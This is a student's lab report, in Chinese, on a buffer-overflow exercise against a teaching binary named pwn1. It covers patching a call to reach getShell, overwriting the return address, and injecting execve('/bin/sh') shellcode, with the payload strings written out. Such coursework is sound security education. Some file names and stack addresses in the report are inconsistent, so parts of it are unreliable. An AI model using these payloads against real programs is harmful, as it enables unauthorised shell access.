20252807 2025-2026-2《网络攻防实践》实践9报告
1.实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
实验要求:
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
2.实践过程
2.1 手工修改可执行文件
输入命令hostnamectl set-hostname queke修改kali虚拟机主机名为自己姓名

重启系统后可以查看到已经修改成功

将pwn1拷贝至虚拟机中,输入命令mv pwn1 pwn20252807修改文件名为学号

输入命令对可执行文件进行反汇编:
objdump -d pwn20252807 | more

找到getshell、foo、main函数,在main函数中可以看到80484b5: e8 d7 ff ff ff call 8048491 <foo>

80484b5:
这是当前这条指令在内存中的地址(就是这条指令存放在哪里)。
e8 d7 ff ff ff:这是机器码(CPU 真正能看懂的二进制 / 十六进制指令)。
e8 = call 指令的操作码
后面 4 个字节是跳转偏移量
call 8048491
从图中可以查看到getShell函数的地址为0804847d。
若要达到调用getshell函数的目的就要修改e8 d7 ff ff ff,加上80484ba变为getshell函数的地址,所以要修改为e8 c3 ff ff ff。
输入命令vim pwn20252807打开可执行文件,退出后输入指令:%!xxd查看16进制的格式。
输入命令/e8 d7查找到需要修改的位置

将e8 d7 ff ff ff修改为e8 c3 ff ff ff,输入命令:%!xxd -r转换为原格式,然后输入:wq保存。

再次输入命令objdump -d pwn20241905 | more进行反汇编,得到:
可见修改成功。
运行pwn20252807程序:
成功进入shell。
2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串
还原原文件,对其进行反汇编,对foo函数进行分析:

这两行sub $0x38,%esp #给堆栈esp预留了一定大小的空间和lea -0x1c(%ebp),%eax #将携带偏移量0x1c的ebp放到eax较为关键。
缓冲区起始地址:ebp - 0x1c返回地址:ebp + 4,偏移量:(ebp + 4) - (ebp - 0x1c) = 0x20 = 32字节
所以需要在第32字节之后(第33~36字节) 填入 getShell()的地址:0804847d。
下载并安装gdb:

用gdb分析:

可以找到getshell的地址。
构造攻击输入字符串:
11112222333344445555666677778888\x7d\x84\x04\x08
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20252807_input
xxd 20252807_input

输入命令进行测试:
(cat 20252807_input; cat) | ./pwn20252807
将20252807_input中的内容通过管道传输给pwn20252807作为输入。

攻击成功。
2.3 注入一个自己制作的shellcode并运行这段shellcode
安装execstack:
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

execstack -s pwn20252807 #设置堆栈为可执行状态
execstack -q pwn20252807 #堆栈是否为可执行状态

输入命令more /proc/sys/kernel/randomize_va_space查看地址状态随机化

关闭地址随机化:

通过perl来构造输入字符串:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input3_20252807

打开两个终端,一个终端输入命令(cat input3_20252807;cat) | ./pwn20252807作为pwn20252807的输入,
另一个终端输入命令ps -ef | grep pwn20252807查看进程。

可得进程号为15655。
再打开一个终端,进行gdb调试:
依次输入命令:
gdb pwn20252807
attach 15655
disassemble foo #查看foo函数的ret指令的地址
break *0x080484ae #设置断点
ret的地址为0x080484ae,在ret处设置断点。


在一个终端按回车,另一个gdb终端输入c,输入命令info r esp查看到栈顶指针所在位置为0xffffd36c
输入命令x/16x 0xffffd36c查看当前栈顶的值。


计算地址:ffffd16c+4=ffffd170,所以构造shellcode:
perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input3_20252807
输入命令
(cat input7_20252807;cat) | ./pwn20252804


攻击成功。
3. 学习中遇到的问题及解决
问题1:
显示permission denied
解决方案:
输入chmod +x pwn20252807

解决。
4. 实践总结
我在学习通的资料中学习了缓冲区溢出、堆栈的概念、机器指令与汇编语言和shellcode生成。通过实践学习,我也学会了修改字节、利用溢出漏洞改变程序的运行过程。

浙公网安备 33010602011771号